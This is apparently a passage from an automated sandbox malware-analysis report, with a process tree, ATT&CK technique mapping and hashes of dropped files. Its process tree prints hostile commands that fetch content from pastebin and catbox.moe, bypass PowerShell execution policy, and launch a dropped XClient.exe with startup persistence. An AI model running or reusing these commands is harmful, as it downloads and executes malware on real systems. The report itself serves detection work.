  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qorvonel\qorvonel.cmdline"
    3⤵
    PID:3360
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2892.tmp" "c:\Users\Admin\AppData\Local\Temp\qorvonel\CSCAD8E6FC8153142AEB99A32BCAE7CDAE1.TMP"
      4⤵
      PID:5008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic csproduct get UUID /value
  2⤵
  PID:4092
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get UUID /value
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2784
- C:\Windows\system32\curl.exe
  curl -s https://pastebin.com/raw/GKY7G8Wq
  2⤵
  PID:2792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\Chrome.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3784
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /C "echo >NUL>11"
    3⤵
    - Drops file in System32 directory
    PID:4732
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /C "del 11 /q /f"
    3⤵
    PID:4392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "Invoke-Webrequest https://files.catbox.moe/k0c2jf.zip -OutFile ew3ypm.zip"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:736
- C:\Windows\system32\tar.exe
  tar -xf ew3ypm.zip
  2⤵
  PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "start XClient.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1040
- - C:\Users\Admin\AppData\Local\XClient.exe
    "C:\Users\Admin\AppData\Local\XClient.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "cmd /c start XClient.exe"
  2⤵
  PID:3992
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c start XClient.exe
    3⤵
    PID:2492
  - - C:\Users\Admin\AppData\Local\XClient.exe
      XClient.exe
      4⤵
      Executes dropped EXE
      PID:924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "cmd /c XClient.exe"
  2⤵
  PID:4172
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c XClient.exe
    3⤵
    PID:2296
  - - C:\Users\Admin\AppData\Local\XClient.exe
      XClient.exe
      4⤵
      Executes dropped EXE
      PID:4924

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
PID:2120

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -nohome
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4900
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4900 CREDAT:17410 /prefetch:2
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:3360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

Filesize
4KB

MD5
da597791be3b6e732f0bc8b20e38ee62

SHA1
1125c45d285c360542027d7554a5c442288974de

SHA256
5b2c34b3c4e8dd898b664dba6c3786e2ff9869eff55d673aa48361f11325ed07

SHA512
d8dc8358727590a1ed74dc70356aedc0499552c2dc0cd4f7a01853dd85ceb3aead5fbdc7c75d7da36db6af2448ce5abdff64cebdca3533ecad953c061a9b338e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XClient.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
223bd4ae02766ddc32e6145fd1a29301

SHA1
900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

SHA256
1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

SHA512
648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\07I069W9\qsml[1].xml

Filesize
552B

MD5
d753eb0465881606a638c2f130e8bc04

SHA1
5921d575de8c41ed6e3d0cbb427366461811a704

SHA256
f9608467572a9a106e39dac5aee065d8fad9379d6268029ea541e43b1ed81cf9

SHA512
27654c34a5ec2ea663cf546e7929753f0b6deb24fe010270e07c14060c2ff6901237fe2f98399d9d9db66d478aeadef148c8ef6a93cf7c544878b171b77bf4b5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\07I069W9\qsml[2].xml

Filesize
207B

MD5
fa82054ab81886693a193316cb37ecfb

SHA1
d5f6fc384e9cdda7e2f04379ffb18acf900a14d4

SHA256
257b81d78b653c3420c5cfa215597a73b6b2d007049bc09d21cce4b72864a415

SHA512
ebe56577cf5e7b630d3721401fcb96fd2a3862bb3cc0cec39deded2f1813b99bb17c99decb13d6eeb3c03a2f91b089f64db9f720830d94047de23e0d04fa32a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\07I069W9\qsml[3].xml

Filesize
212B

MD5
3b1d4a36cf8176bf01dd60491de64fc5

SHA1
2606fc50bffd94a40f930d0f01edb9b9e7d1c815

SHA256
0383037b473ce970984916695ad2fc53a9467cf70375d2307bc47ddfd1dd4443

SHA512
64e492e2b6253bbfa7c6ccf18c351575f732bed57fbad9e4e8eb8dc983d4bd1a4afe39bd381433209f6fe7e72c706af7cf3397ab67401e327efa9c780ffe8266

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\07I069W9\qsml[4].xml

Filesize
217B

MD5
4241b8a42a423361a719a757e820e7b9

SHA1
eaeb5c8964eb0d28a76bcc33037fd5f44a275b6d

SHA256
09cee1123bdb6dde08d482d56c452862cc8bcc6ef6ed727197ed9726047a1162

SHA512
c41aa77527b35465caf8ce9bbfd1c6802784de3c8d39afb6bcdcf710f62a2b60a250c11e4c7440a8311fd2bb4fb6dfa41b00d241f95b01f728ecc61cafbf7951

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\JU7XB9TT\qsml[1].xml

Filesize
456B

MD5
ce738afb634a011e97f2f8de49217502

SHA1
2b702d0a5ad7c6260fdc415011d58d4805cdb065

SHA256
857e31ca731f0c043cb5b96d58b57ced5be868bbc7f69b943bd4f233dbe96c2b

SHA512
36728185a5b6a4fb73ebd10e239e877ee48ebbd31278543142abca2b9a3bc937828cc7c6f381f694563854735ff6902e871e8eb687807e8e3edab21d90a90205

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\JU7XB9TT\qsml[3].xml

Filesize
531B

MD5
4416d5ffd3e6737af9a9b8cae5990f59

SHA1
db0c990fa84f230a8f8b7f53dd436cd42936556c

SHA256
da485a957b8e4f37e648ec08e3d2b019f3d1d727b427b3b1e05ef2b617fb7066

SHA512
f331234bc78c22599bb1a65b4d3e00a4e5b4646b4f349c0e9aa75d46f71c2c048546bdb5384f946e5f16c1994ed7b39b9ca25597799bf8647e83a03df912f2c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\JU7XB9TT\qsml[4].xml

Filesize
245B

MD5
c6beca4355ab5cac25573aa9496690c4

SHA1
379cd2f78ee1f443d8cc0f6f839139677229eb6c

SHA256
7e28d7f34295c5da63af31a240f66cec5d90457dc12685600e42b3ee038a084e

SHA512
4eb9038296662da9bda295abe5890fdc2334806186b64d7e39b2d9377464efcf90271eac1700273defe0b4b40635a7b6401833b2371c977df1df968eef9749df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\JU7XB9TT\qsml[5].xml

Filesize
209B

MD5
79efa450dc2c30a0d3df7a574ec00284

SHA1
bdcc8b8c77c5b7cb2c11fb3d296924686cd8d157

SHA256
dff753d0289a018a39473903fc4256a0a6c8ba48efcf0d31d018cd0806d6e43f

SHA512
f9109b0b541aea632f84e570f538e789984144b06b11644b4de745791c27008b70db0c40598dc3de8571eeb97f762d9c90dd796a4876a365e97e486d0b438416

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\JU7XB9TT\qsml[6].xml

Filesize
215B

MD5
a69e98ba6fcaf149715bc64b697f5662

SHA1
18e294f2280d357829fde9425f0d89c33d369d1b

SHA256
d1230803f6b60a2b78d030734158d5ebdec74a3327fb12001ec3e13546050c20

SHA512
b808b34382b6e9cdc4b0f1c27334a84f285a8c9a64433e278c28d269066480e68d1852689eaa42f09f8d1dd5cf08ad6519a3789a4dd9b048f5fba5e481ac5ed3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\JU7XB9TT\qsml[7].xml

Filesize
220B

MD5
2e69325723c5e4f22068e61b4ec67995

SHA1
d7be5e17506f427ddcb7f2b7257578eb2f470565

SHA256
6f9a49cdc4c532df6c0134f81bdc3dec0112b47f18d8cb7c66fd5b4182be52ae

SHA512
73927671b2c175dfe17a2e47cae141736f695b01339790882e05dffcf1d4df069f8e9f4fb177c99bd7b55331cc62d8c084c2b679d56ff5978a9534478fa90c95

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MPZT1JWX\qsml[1].xml

Filesize
525B

MD5
ce076684c3a945ce32e0bf68f30ab68b

SHA1
6f104412dda3ec746902a7df5d8e1c3342463918

SHA256
2cc73ffde33f6d85d91296aa72f09b19db6e9462b51f5076a465f9edfa3a0d41

SHA512
b6e45b89de62b2680c342d70e4b1c0ffe3e143ac10cf2ffff1e862b4eeae49d2960cece175517c5bda4e580808c7d3952424ed958fb25310d747a1ab2ec0e31a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MPZT1JWX\qsml[2].xml

Filesize
290B

MD5
651b460af11a825e83b937aa88895629

SHA1
a35a27fccb76fb8e1e97f8126e01a7ca26f5684c

SHA256
ab0a23177a0d684b2da2b3a260b4a91f13f780b6b4a7f3f8adac5902fd531c9b

SHA512
e4ea9ea5b13e8f57b476f9eb92977343f2bf292f48e8c8e4bbde3fe411e87cf63a5b17c3352dd84215ed17458eb229c076528b1f83ec7ca089b8d3807edeb62c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MPZT1JWX\qsml[3].xml

Filesize
208B

MD5
6613859f984923c2c99313b2ef243bfc

SHA1
c6cb634efdd567828666095803b695eb3f13f535

SHA256
4c64f177fdde9e71a2a3d9ccfa8e08339b664ba3563014dd25315620b89aee65

SHA512
304e10ab6e7b388a0f010833e9ba7784751451cb9348732c437bad211c97a63f4b0a8a23edaf94026b9ceac733096536adea3cd44030ea8be7afba2a34e113c1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MPZT1JWX\qsml[5].xml

Filesize
214B

MD5
0a34d0d2096f4128768cc66fc9bd5077

SHA1
578dd79e1611341584b8b6ca0104a8b811a82aad

SHA256
5f68868e37675188373649c6ec5779b601b56e49cf23b2f0a56ff4739f8e771d

SHA512
f8e32b9caf4568e646e8a4f961f7b0fea47e2b7e5bdb58ab72128cbdabb703a7e063b087c000593262e0bc4ac1f50fed2ca9fe46f10af51318180e83a5daa532

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MPZT1JWX\qsml[6].xml

Filesize
219B

MD5
fb4cc69559fc429e1690cf7bb533aa15

SHA1
5436504cb3133f5d8ef5bcde8efe3fec0fd35a8a

SHA256
e00233cdda2c3df6761a572e51d3f3af52b621a14a048eb8e3a2095d0d16e21e

SHA512
52c7f6c8588a0b20edc011c4e0b3825134cc55070cc1f7722597ca155f5f849ce08b311fc9a0e64db27c1dfddb0608c6a5493071e0ccb318117be1fb79a238f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\N1V4B9VJ\qsml[1].xml

Filesize
492B

MD5
1a9104729fc69b34137d9559ceb084a4

SHA1
746152ff012e8d0b6699d1b34167e3f49936adba

SHA256
51ab71f8521345e89751b9efe4b82725b1ba6d3da90cb36d5cabf860b3d2722d

SHA512
1584752fbb07283220d97fa46ec9cd402d8b29bcce922b7f72c2eb6bdf4267c83a0a0f3b25207ce6407410b7c0783fabcf215ef3c0f48cc5de88c40320551ead

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\N1V4B9VJ\qsml[3].xml

Filesize
261B

MD5
52b1cd8dd77d54d1080c48bc2832d148

SHA1
2c25b3cd19eaef4312badaf55cdccaa7bfbafb36

SHA256
9d6b921047d48841466615f51f42a98a870de991c2bddc9b3f0ce09ce2dc80b8

SHA512
b17926ce10e9378ba34dbfc0cd88ce80176300d61c8ec1e6cd7c9dfcf888386273aba86e41dfec3c04e5e369e3a53b1c6f7f3fc63ca463ad18b38eda0cc67ab4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\N1V4B9VJ\qsml[5].xml

Filesize
216B

MD5
bfdd36dbb8194b37c36f3ee140d527f2

SHA1
9cd2f826b3c4a264901e103e01b229f8900545c6

SHA256
82ac287495a9f42ca56ebcc5677464b68e365d6d60438c0ab86fbb8529b873d7

SHA512
42f40e7b749ebf10b84a0fcf175e47a830c68d1acba0e5efe018feef518572719bce1e9b8eec764331cc467c946c5285920de891c2676c01ede4e7675d5734fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
727a63cec4de3a0e8039fbea09b0083b

SHA1
59a17174f5ce2967316f855a05d18f56754deed9

SHA256
473460afefefc2e78cd1089bc6c8b98269c6034785a7f8f7fa6d475161d82285

SHA512
e274eb8b97c748164905ed1de92db9b998c6588dabe51d40985bbbdb36fbc5f057a8960d79851052195ba0d9ed7e5355a11d2d72a89546368fe25ecc6fea9ade

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
331841fe482ffe8b1cc1509733d8ca67

SHA1
1e3257cca1b2c7c3aaf4cf1f138c9e9e665e8cb8

SHA256
14112a43248df71bdf7668c923f541190c6417ef37796605cf8114f565648d0f

SHA512
039e5991132912f94b3fbe23146ee61bb822aada6a3f2b37bca226c76c162e04a106f3626587ff079411a03e6e9a4813ad04813ada4694f9b78f49e1925389d9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c20ac38ae3022e305b8752804aadf486

SHA1
4c144d6cfafb5c37ab4810ff3c1744df81493cdb

SHA256
03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

SHA512
c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
e1bdf82dd0a2d4c8df8afca5790bb14f

SHA1
c787899de86efdb19a45dedd2955d46b790317bd

SHA256
7c2ce3132491467e2501a6eeb42478975363f0caf2b6c3901b1decd4e7c0317c

SHA512
1c991119b03fd7fb207fe911430e695117822e64008d1fb4482166a6cdecee6c48d8f323be25d19f525652acae425630c7988a85dc2c4d914fbdb1b9f7c6decd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
617d85ff0f001d274e6288cda18ca5a6

SHA1
8c3a77941cd63b213d47e35774f4a21ef4ff92ed

SHA256
39319b925401a80d0ae21f4939bef240b502cc3d5c7888d6b129e46e9725b766

SHA512
ab580aa49f4c7f85afef78a24824b313148910c4e062e8bcde093c547bcbd04e1abff8b45a2740663c7483d1f938e9d70a5ede00ab0b11594fa15b343f8f170f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a5c074e56305e761d7cbc42993300e1c

SHA1
39b2e23ba5c56b4f332b3607df056d8df23555bf

SHA256
e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953

SHA512
c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b7f7e3d24d2015ef7787d18f8ebb00b5

SHA1
e9a13d658585cf4761c337826ae6624e59afdf5f

SHA256
8151ce34f243a45337f1c882553bde89c6b6f302a5900cbfa6ad1ab0713a2216

SHA512
863cbfcf78864bd9cf9c3330ad4ba19bfe0e74d068186bc48c930565ccee4c8b36a9953e5dd631a793af435bbd6345018eef7932a5435ff2e5fe7a4b76a150c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
fa9fbc4304a179a75ae6683c06c27eb3

SHA1
aa643ab5957950c7025f6bb9540a36dc33e227cf

SHA256
27c209725d7f3bba6e564c028dc71d650a1a19489835ffa39239509a95680eae

SHA512
861c22f131ddb73d4b0f52fdc301cc36c680c545fb41354dce5c837762fc42462fbf957c573d340dab5ffa0798a8307a0b2dbc4041a75e120c1d6fe6fd3b3f4e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Bypass.ps1

Filesize
209B

MD5
e82f17b469d83563a530829d66077387

SHA1
b0fd2c3c95ae8d2789d2e70d0c8f4cfd8a2b4801

SHA256
1146ff2c6a9e54085aee89b29d52c1e2d3933e24a448f3e5151d3b27dc3a800e

SHA512
ed07cea3de0ea1a253783d26b7fa8968a91bbd09dd218f9e914d2a1759fba5da228253d01ffc933238ccf30ddd6f6d21219d8c6a25a7dcb3b832e40fb23cf474

Download Submit
C:\Users\Admin\AppData\Local\Temp\Chrome.ps1

Filesize
11KB

MD5
851ac375f614e95773a95c1887049481

SHA1
e53e7ff7555edcc0f06910d55d2bf001895e0692

SHA256
725fbefc25dda20fe1710a2f0d0d70a4e7a672c9c3f33e128226b671c72b07c1

SHA512
185d49f2c1a5303da0bcf075ec7d1cb9bd0fe051c7d8070473292aa641bfaa4d5d9fb84429d9e23a8e1f0e9a54b437e874fafa912b685f81112eb3023dc66fa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\GetAdmin.dll

Filesize
5KB

MD5
325751691269ff43a244a4a0ba97184c

SHA1
0929c92ab8f2fa3d2a836ddb1605c1b3ebbfc254

SHA256
e1df3755ba138f252c17d5697361cf22d651f8a06204081a8f4a5c8d2bc38787

SHA512
e70bb145a53a2b1e857cdccf95579769c0acd36238873e0cf43f46cd00efaf668ded6d706e74c9c95d778e1f10bf84e7ce7ae341803293a56a24ca777b03170f

Download Submit
C:\Users\Admin\AppData\Local\Temp\J8PszkJI.bat

Filesize
6KB

MD5
e67402dd0703caf0a2890202697ade43

SHA1
1f1a6d307d1e0bf06529fa2186f7424f7cb6da27

SHA256
187db964a8f0ed1a674bca2c3e3a7f6ba1264d1b8d9dbcb8d4f4d7b2daf8b9f4

SHA512
7aba77cf9524084cffc2184083816cc90441d8d9f1ef0542bd38f0fbbb662dd77868c8d3a9f415991336d68f4c7334852ca604c4c7708fd97aab83e95c5ed545

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES2892.tmp

Filesize
1KB

MD5
4c15cda6a1ee43f564f685be7bca2b0c

SHA1
80a704a64719355c2e7e5e32d2b27cb67d73cca8

SHA256
89bd0f394b738a47141f85480ecede820ca3199ded6d9d7c90aed85badeed50f

SHA512
72f1ed4cfce4a2b60058a259ff6f5ae543e18f0c523e7261460d6e425759f687397a5f95cb73823380ee15e99b013587a14cbde410d937369eadc32287a41228

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES47F.tmp

Filesize
1KB

MD5
36db8b9a6a7ca8858c7a0a65083dc48a

SHA1
aa498ae8da8527732663e224852608fdf591d5f6

SHA256
b3efc888d3e9e6092f2721de9baf3ec4240cb47e999249b1c841db83e5a3f32c

SHA512
f1552b1900b199274ca4e537d38e60d676b4adc814a9d972b505b8e4929ccc3e40da04038346809395a7cc0495f5b904f12d8f4b66b4d6c3ef141f91cfd54b53

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_upkmj21n.ulr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\qorvonel\qorvonel.dll

Filesize
3KB

MD5
0c1be5b61aee09b3cfc1b653ed64a338

SHA1
b888edd8f72d1886080536ae5689721b36b33c73

SHA256
54a9c6a1889991a14a62c114752b21287b97bf2e06666c922ae045b8a3a843db

SHA512
7c56ae7e0a8d9d829385727123761f3054b71d87b6960dfc325b1f68d942262a24a221374c4a4e340b76b1d974002d679ded5b5a4427d6ea8f553adda3bdd9d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\wqguvtwh\wqguvtwh.dll

Filesize
3KB

MD5
2b297df379b03b6d730230232ca9f4b2

SHA1
bb285275332843c0098b9b6b708784e096e56124

SHA256
12e7966bb45bdebe6b0d5c1fb668e9550e27f8a5f9cfa8a8e306723840ac3055

SHA512
cf9a7ac79552a19702fc6c4e07880e310e9cb19a39f831eaf99efa3302ccd6a694fcbd6c9484ced23e875635d2f623bc0dd9c932cb299873e889518dae96c9d8

Download Submit
C:\Users\Admin\AppData\Local\XClient.exe

Filesize
68KB

MD5
a84e5d190d802b27da176e3810825d6f

SHA1
bff86d9c87a431359f29fce1ccfade1abff8224b

SHA256
820b194e9a33c786e4e9198c3a85e9664f009b1bea69a08d265d2792391c2138

SHA512
72efbffa43028a788d83aa641e552ec5cd500198a5f136defdbf520e629dc0d5cc70217b41bb47a708b0c2802aab83a9d2fd2454c4f1dcc85e76934257797e28

Download Submit
C:\Users\Admin\AppData\Local\ew3ypm.zip

Filesize
42KB

MD5
3f50fab15bffbf913ac76fab04125570

SHA1
6137c4f74ead1403f4bac9a13ef65fd6baa0e365

SHA256
e9dda85bda3529edbaa61ddae5ae314e744168e7cb1203a99609e330931ab8cc

SHA512
30e8e4093122edaf9f916668035f49be650b39b7b0432c4cf6a830afd463cb8b2cf36b44adfd6b31af497104e194f74c9fec7c69525d0198dc6df940dd93b514

Download Submit
C:\Windows\system32\11

Filesize
13B

MD5
38de427224a5082a04fe82e2bd4ea9ec

SHA1
7e4a53de1f83762dd2febd39b818e2258bc83bc1

SHA256
12f99f53144294750fe8713d580eda286f4bd95cd9c840db8ab957def8040028

SHA512
ec3f3c324eeaad91ab0efd47b3084493d863f969344fa1ba87ace1974908053d396673b44c33b4dceeef792a74ad9278e06acc27c83459af1153de52f83afcbf

Download Submit
C:\windows\temp\kifeyagw.inf

Filesize
556B

MD5
37609db8df30071bf88eeba6610b2a88

SHA1
8ea8b1e4408bda8b78be0fb4d25bffb9797b3d96

SHA256
9c037a4055c4c55535648b2cbcdcacd3e034d91e286c94e40e80307073a6000e

SHA512
bb16b0768497e4478f63527db4a71154fbed1ce681b36133692e27239c395bd94459703607e4aa8a57f2ce76f217e2439ee938eec550cef9298bd17924e65f59

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qorvonel\CSCAD8E6FC8153142AEB99A32BCAE7CDAE1.TMP

Filesize
652B

MD5
843d3154ec6ea08fbe5ebc0e2d04952f

SHA1
4ec3df9e4ab45c56d4d556f093740e684a3f79b7

SHA256
628eb0aac774ea167f41ff2c5694155b29c2e731132063f8c3bef717ae1a829c

SHA512
3e7aaa3cd3a62541ec4b770fc4ce6811a4289f8eba6775cea77f67b94d7bb508cbf1a0b8a07181081b55cec43490b946654e63cb9bfa80f1416008e33e5854f6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qorvonel\qorvonel.cmdline

Filesize
369B

MD5
f1f4c1e7d78a8f882bd09c6591f0efdf

SHA1
105e75efd094a4f3e10efefd2c7627540872d3aa

SHA256
2834eff616d84685ad60684162d00b55ad25638d21166053e454cf3107cdbbfe

SHA512
7f1f71f52f84a7ff7370fbf2eed3840e2172bd267c92f2d9654a799c2479984fd5aa97b9a7f93ec1652a34c54a999bda670513f784ea4bcf2f6ac07e24661d5b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wqguvtwh\CSC90934E0C39F423E82A519887B276E54.TMP

Filesize
652B

MD5
e3d740be9542f3d7ca0602eae70f626f

SHA1
5a4ef8bf462ff111000a387704954f1ac6bda688

SHA256
9b72e19a761e5da81c00470129174669c6b7edad232c8f3b6c3ba29348913759

SHA512
dac52f1167ce84a105d99ff432d3cf3eb4b081e45b7ed6abd176cd711bff52e5051682e97d36f4ad47a6f633858d33df4e42fa6a4b9521d48add7f4e4d03e10b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wqguvtwh\wqguvtwh.0.cs

Filesize
174B

MD5
459fed6cac915561d3cbe767262a34c5

SHA1
8b2465fa92c95c0afcff113f93e971fb812a1ef9

SHA256
5809f2d566f13a09f4fa7971698878460c9db4c1650c00d2adf2bfe40c8587ef

SHA512
cf8cda40a2b1f1a1dc5a8e6edf1702d683dac463ac0c09ebd6a4055074a92349747764d59b434779ad6ca9692a00ab2c730c08993d9a832be4fd0cfcd60a5fd0

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\wqguvtwh\wqguvtwh.cmdline

Filesize
369B

MD5
c7ae85db1e5846f00699ed34515c9a0a

SHA1
6a6df23177def4b805855f3eff95126e74757612

SHA256
4dd919119e72d869deb02bb3394e2ecc7fff584be683ceef48cbe09819d22286

SHA512
26714959abce64119345158f4db366019f1bb4f191139e3850bcfe921f58447b35c59fe069798660ee7d6195badaf4a0d948a8a1d5390b4d274ed98e92f24da0

Download Submit
memory/2696-96-0x000002297A160000-0x000002297A168000-memory.dmp

Filesize
32KB

Download
memory/3008-69-0x000002D14E020000-0x000002D14E028000-memory.dmp

Filesize
32KB

Download
memory/3516-0-0x00007FFFB0213000-0x00007FFFB0215000-memory.dmp

Filesize
8KB

Download
memory/3516-29-0x00007FFFB0210000-0x00007FFFB0CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3516-25-0x0000024079BD0000-0x0000024079BD8000-memory.dmp

Filesize
32KB

Download
memory/3516-12-0x00007FFFB0210000-0x00007FFFB0CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3516-11-0x00007FFFB0210000-0x00007FFFB0CD1000-memory.dmp

Filesize
10.8MB

Download
memory/3516-6-0x0000024079BA0000-0x0000024079BC2000-memory.dmp

Filesize
136KB

Download
memory/3880-141-0x0000000000F10000-0x0000000000F28000-memory.dmp

Filesize
96KB

Download
memory/3880-172-0x0000000003120000-0x000000000312C000-memory.dmp

Filesize
48KB

Download